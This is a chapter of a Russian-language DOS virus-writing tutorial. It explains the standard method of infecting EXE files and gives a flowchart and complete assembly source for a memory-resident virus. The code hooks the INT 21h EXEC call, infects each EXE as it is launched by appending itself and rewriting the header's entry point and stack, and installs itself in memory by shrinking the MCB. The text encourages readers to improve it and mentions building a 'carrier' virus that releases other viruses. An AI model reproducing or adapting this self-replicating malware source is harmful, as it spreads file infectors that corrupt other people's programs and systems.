гл.12 СТАНДАРТНЫЙ СПОСОБ ЗАРАЖЕНИЯ ЕХЕ-ФАЙЛОВ
(о столь милых сердцу банальностях)
============================================================================
В литературе (/6/ и т.п.) однозначно дается определение стандартного
способа заражения вирусами ЕХЕ- и СОМ-файлов. В частности стандартный способ
заражения ЕХЕ-файлов такой: вирус изменяет в заголовке файла точку входа
(значения CS и IP) таким образом, чтобы она соответствовала концу файла; за-
тем он дописывается в конец (т.о. новая точка входа соответствует его нача-
лу). При этом вирус сохраняет в себе изначальную точку входа, и когда он вы-
полнит свою задачу -- передает управление по этому адресу. Помимо точки входа
вирус может переопределить (а потом -- отреставрировать) значения SS и SP. И
это -- все.
Итак -- блок/схема:
-----------------------¬
---------------------+ JMP to_initialization¦
¦ L-----------------------
¦
¦ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_
¦ INT 21h ---------------------------------------------¬
¦ ¦ ¦ а функция ли это N 4Bh? если нет -- ¦
¦ L----->¦ сваливаем на IRET---------------------------¬
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦ а ЕХЕ- ли файл запускается? нет - уходим----->
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦открыть запускаемый файл для чтения/записи ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦прочитать часть заголовка в свой буфер ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦проверить, - заражен ли уже? если да - уходим--->
¦ ¦а если нет, пометить как заражен. и продолж.¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦сохранить исходн. настройки ЕХЕ-файла (CS,IP, ¦
¦ ¦SS,SP) в своем коде ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦установка указателя на конец файла (при этом¦ ¦
¦ ¦мы получим длину файла в опред. формате (см.¦ ¦
¦ ¦выходные параметры функции LSEEK 42h) ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦по этим данным ¦ ¦
¦ ¦корректировка длины файла в смещен. в буфер ¦ ¦
¦ ¦части заголовка с учетом добавки вируса ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦определяем смещение от начала файла (от точки ¦
¦ ¦после PSP) до его конца (смещение имеет фор-¦ ¦
¦ ¦мат, отличный от определенной выше длины) ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦при помощи вышеполученного смещения ¦ ¦
¦ ¦корректировка CS:IP и SS:SP в смещенной в ¦ ¦
¦ ¦буфер части заголовка ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦запись кода вируса (в конец файла) ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦установка указателя на начало файла ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦запись измененной части заголовка ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦закрыть файл ¦ ¦
¦ L------------T--------------T----------------- ¦
¦ ¦ IRET ¦<--------------------
¦ L---------------
¦
¦ ------------------------------------------¬
L----------->¦сажаем резидент в МСВ-блок (если его нет)¦
L------------------T-----------------------
-------------------+----------------------¬
¦если запускается культура вируса - STOP ¦
L------------------T-----------------------
-------------------+----------------------¬
¦реставрируем SS,SP,CS,IP (переход на файл)
L------------------------------------------
Вот какая программа у нас получилась:
-----------------------------------------------------------¬
¦ пример 19 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N 19; пример стандартного зараж-я ЕХЕ-файлов
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
my_head: JMP initial
;
;
f_number: DW 0 ;хранилище для описателя файла
;
; ;хранилище для адреса стандартного
saved_int21: DD 0 ; обработчика прерывания 21
; ; (2 слова)
;
;
int21_treater:CMP AH,4Bh
JE begin
JMP retro ;возврат управления стандарт. обра-
begin: PUSH AX ; ботчику INT 21h, если не EXEC
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI
;-------------поиск конца имени запускаемого файла------------¬
MOV DI,DX ;имя адресуется ¦
resend_again: INC DI ; DS:[DX] (входной¦
CMP byte ptr DS:[DI],0 ; параметр EXEC) ¦
JNE resend_again ; ¦
;--------------------------------------------------------------
;----------если не ЕХЕ, то JMP на глобальный POP--------------¬
CMP word ptr DS:[DI-2],4558h ; "XE" ¦
JNE to_no_exe ; ¦
CMP word ptr DS:[DI-4],452Eh ; ".Е" ¦
JE thats_exe ;(JNP short просто ¦
to_no_exe: JMP no_exe ; не достанет) ¦
;--------------------------------------------------------------
thats_exe: ;----------открыть файл для чтения/записи---------------------¬
MOV CX,0 ;DS:[DX] имя файла ¦
MOV AH,3Dh ; ¦
MOV AL,2 ;открыть в режиме ¦
CALL call_int21 ;пиши-читай ¦
MOV word ptr CS:[f_number-100h],AX ; ¦
;--------------------------------------------------------------
;-----------прочитать данные из заголовка в свой буфер--------¬
PUSH CS ; ¦
POP DS ; ¦
MOV AH,3Fh ; ¦
MOV DX,OFFSET data_exe - 100h ; ¦
MOV CX,20h ; ¦
MOV BX,word ptr CS:[f_number-100h] ; ¦
CALL call_int21 ; ¦
;--------------------------------------------------------------
;-----------проверить, -- заражен ли уже----------------------¬
CMP word ptr DS:[data_exe - 100h + 0Ah],50h ;сигнатура ? ¦
JNE thats_clear ; ¦
JMP no_exe ;да -- goodbye!¦
thats_clear: MOV word ptr DS:[data_exe - 100h + 0Ah],50h ;сигнатура set!¦
;--------------------------------------------------------------
;-----------сохранить исходн. настройки ЕХЕ-файла в своем коде¬
MOV AX,word ptr CS:[data_exe - 100h + 14h] ;-T-IP сохране-¦
MOV word ptr CS:[saved_ip - 100h + 1],AX ;-- ние в ¦
MOV AX,word ptr CS:[data_exe - 100h + 16h] ;-T-CS коде ре-¦
MOV word ptr CS:[saved_cs - 100h + 1],AX ;-- зидента ¦
MOV AX,word ptr CS:[data_exe - 100h + 10h] ;-T-SP изменяе-¦
MOV word ptr CS:[saved_sp - 100h + 1],AX ;-- мых на-¦
MOV AX,word ptr CS:[data_exe - 100h + 0Eh] ;-T-SS строек ¦
MOV word ptr CS:[saved_ss - 100h + 1],AX ;-- ¦
;--------------------------------------------------------------
;-----------перемещаем указатель к концу файла ---------------¬
XOR CX,CX ; ¦
XOR DX,DX ; ¦
MOV BX,word ptr CS:[f_number-100h] ; ¦
MOV AL,2 ; ¦
MOV AH,42h ;в AX,DX--получе-
CALL call_int21 ;на длина файла¦
;--------------------------------------------------------------
;---------корректировка длины файла в заголовке---------------¬
PUSH AX ;в AX,DX--длина¦
PUSH DX ; файла L ¦
MOV BX,200h ;AX = L div 512¦
DIV BX ;DX = L mod 512¦
INC AX ; ¦
ADD DX,1C3h ;длина вируса ;помещаем в сме-
CMP DX,200h ; щенный заголо-
JB no_add ; вок новую дли-
INC AX ; ну файла (см.¦
SUB DX,200h ; формат заго- ¦
no_add: MOV word ptr CS:[data_exe - 100h + 2h],DX ; ловка) ¦
MOV word ptr CS:[data_exe - 100h + 4h],AX ; ¦
POP DX ;в AX,DX--длина¦
POP AX ; файла L ¦
;--------------------------------------------------------------
;---определяем смещение от начала файла (от точки после PSP) -¬
PUSH AX ; до его конца ; ¦
MOV AX,DX ; ¦
MOV BX,1000h ;AX -- сегмент ¦
MUL BX ; смещения ¦
POP DX ;DX -- офсет ||¦
; ; ¦
CMP AX,0 ;либо от AX от-¦
JE sub_dx ; нимаем хедер,¦
sub_ax: SUB AX,word ptr CS:[data_exe - 100h + 8h] ; ¦
JMP short length_got ; ¦
; ; ¦
sub_dx: PUSH AX ; -- либо от DX¦
PUSH DX ;В результате ¦
MOV AX,word ptr CS:[data_exe - 100h + 8h] ; всей этой мо-¦
MOV BX,10h ; роки в AX:DX ¦
MUL BX ; получено сег-¦
POP DX ; мент-оффсетн.¦
SUB DX,AX ; смещ-е от на-¦
POP AX ; чала файла ¦
length_got: ;------L-наверное это можно было сделать намного изящнее-------
;----------корректировка точки начала пересылки (для посадки--¬
MOV word ptr CS:[M1 - 100h +1],DX ;резидента в МСВ-блок) ¦
;--------------------------------------------------------------
;-------корректировка CS:IP и SS:SP в смещенном заголовке-----¬
MOV word ptr CS:[data_exe - 100h + 14h],DX ;---IP ¦
MOV word ptr CS:[data_exe - 100h + 16h],AX ;---CS ¦
ADD AX,50h ; ¦
MOV word ptr CS:[data_exe - 100h + 10h],DX ;---SP ¦
MOV word ptr CS:[data_exe - 100h + 0Eh],AX ;---SS ¦
;--------------------------------------------------------------
;-------------запись кода вируса------------------------------¬
MOV BX,word ptr CS:[f_number-100h] ; ¦
MOV DX,OFFSET my_head-100h ;DS:[DX] буфер ¦
MOV CX,my_end - my_head ; ¦
MOV AH,40h ; ¦
CALL call_int21 ; ¦
;--------------------------------------------------------------
;------------установка LSEEK на начало------------------------¬
XOR CX,CX ; ¦
XOR DX,DX ; ¦
MOV BX,word ptr CS:[f_number-100h] ; ¦
MOV AL,0 ; ¦
MOV AH,42h ; ¦
CALL call_int21 ; ¦
;--------------------------------------------------------------
;------------запись измененных данных заголовка---------------¬
MOV BX,word ptr CS:[f_number-100h] ; ¦
MOV DX,OFFSET data_exe-100h ;DS:[DX] буфер ¦
MOV CX,20h ; ¦
MOV AH,40h ; ¦
CALL call_int21 ; ¦
;--------------------------------------------------------------
;---------закрыть файл----------------------------------------¬
to_close: MOV BX,word ptr CS:[f_number-100h] ; ¦
MOV AH,3Eh ; ¦
CALL call_int21 ; ¦
;--------------------------------------------------------------
no_exe: POP SI
POP DI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
retro: JMP dword ptr CS:[saved_int21-100h]
;
;
call_int21: ;-------вызов стандартного обработчика INT 21h-(процедура)----¬
PUSHF ; ¦
CALL dword ptr CS:[saved_int21-100h] ; ¦
RET ; ¦
;--------------------------------------------------------------
;
;
;
;
;
initial: PUSH DS ;----сохраняем адрес начала PSP
PUSH ES ;----сохраняем ES
;--------------проверяем наличие TSR - копии в памяти---------¬
MOV AX,40h ; ¦
MOV ES,AX ; ¦
CMP byte ptr ES:[134h],55h ; ¦
JE no_tsr ; ¦
MOV byte ptr ES:[134h],55h ; ¦
;--------------------------------------------------------------
;--------------создаем TSR - копию----------------------------¬
MOV AX,DS:[02] ;берем вершину свободной памяти ¦
; ; (в параграфах) ¦
SUB AX,30h ;уменьшаем ее на 40h (в парагр.) ¦
; ; ¦
PUSH DS ;>> ;копируем из источника DS:head ¦
PUSH CS ;копируем в приемник ES:00; в ES ¦
POP DS ; - новая вершина своб. памяти ¦
m1: MOV SI,OFFSET my_head ; ¦
MOV ES,AX ;m1-метка команды с коррек- ¦
XOR DI,DI ; тируемым операндом ¦
MOV CX,my_end - my_head ; ¦
CLD ; ¦
REPE MOVSB ; ¦
POP DS ;<< ; ¦
; ; ¦
MOV BX,DS ; ¦
DEC BX ; ¦
MOV DS,BX ;уменьшаем размер МСВ-блока ¦
SUB word ptr DS:[03h],30h ;уменьшаем вершину свободной¦
SUB word ptr DS:[12h],30h ; памяти ¦
;--------------------------------------------------------------
;-------------перехват вектора--------------------------------¬
XOR BX,BX ; сохраняем старый ¦
MOV DS,BX ; вектор ¦
MOV AX,DS:[21h*4+0] ;48Bh ; ¦
MOV word ptr ES:[saved_int21-100h+0],AX ; ¦
MOV AX,DS:[21h*4+2] ;5BDh ; ¦
MOV word ptr ES:[saved_int21-100h+2],AX ; ¦
; ; ¦
CLI ; замен. в таблице ¦
MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFST¦
MOV word ptr DS:[21h*4+2],ES ;------>SEGMENT ¦
STI ; ¦
;--------------------------------------------------------------
no_tsr: ;-------------переход на начало с реставрацией регистров------¬
POP AX ;---восстановленный DS ¦
MOV DS,AX ; ¦
ADD AX,10h ;---терерь это -- PSP ¦
POP ES ;---восстанавливаем ES ¦
; ; ¦
CMP word ptr CS:[00],20CDh ;нужно лишь для самого первого ¦
JNE no_first ; запуска культуры вируса ¦
RET ; ¦
; ; ¦
no_first: CLI ;восстанавливаем стек: ¦
saved_ss: MOV CX,1234h ; вместо 1234h сюда при зараже-¦
ADD CX,AX ; нии будет записано исходное ¦¦
MOV SS,CX ; значение SS ¦¦
saved_sp: MOV SP,1234h ;а сюда, -- исход. значение SP¦¦
STI ;L--T--------------------------¦
; ; ¦ ¦
; ; ¦ ¦
saved_cs: MOV DI,1234h ;а сюда, -- исход. значение CS ¦
ADD AX,DI ; ¦ ¦
PUSH AX ; ¦ ¦
saved_ip: MOV AX,1234h ;а сюда, -- исход. значение IP ¦
PUSH AX ; ¦
RETF ; ¦
;--------------------------------------------------------------
data_exe: ;
my_end: ;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Чуть-чуть покоментируем. В программе Вам -CMP word ptr CS:[00],20CDh
встретился такой-вот фрагмент:-------------------+JNE no_first
Он нужен лишь для того, чтобы во время сАмого LRET
первого запуска чистой культуры вируса (а именно таковой и является наша про-
грамма) не произошло крушения. Культура нам нужна для возможности создания
комбинированного вируса, "вируса-авианосца" способного хранить в себе в за-
шифрованном виде отдельные вирусы и "выпускать" их время от времени. Культура
-- СОМ-файл, => CS=DS=ES=PSP,а в вершине PSP всегда лежит слово 20CDh (ко-
манда INT 20h). Зараженный же файл -- ЕХЕ-файл, в котором CS<>PSP и по ад-
ресу CS:[00] 20CDh никоим образом находиться не может.
Чтобы после запуска вирус передал управление ЕХЕ-файлу, он должен хра-
нить значения регистров CS,SS,SP,IP для точки входа в этот файл. Резидентная
часть вируса при заражении файла сохраняет эти значения прямо на месте опе-
рандов команд, входящих в процедуру возврата в ЕХЕ-файл. Эти модифицируемые
операнды изначально были равны 1234h.
При заражении файла происходит также коррекция операнда в команде из
блока посадки резидента (ибо в ней используется относительный адрес, который
изменится при дописывании вируса в конец ЕХЕ-файла).
Заражение сложных модулей, подгружающих оверлеи, может происходить не
вполне корректно. Как избежать любых неприятностей в этой области -- погово-
рим позднее.
Алгоритм вычислениния смещения от начала ЕХЕ-файла написан в лоб,
"по-жокейски". Можете придумать свой, более элегантный способ.
Далее
|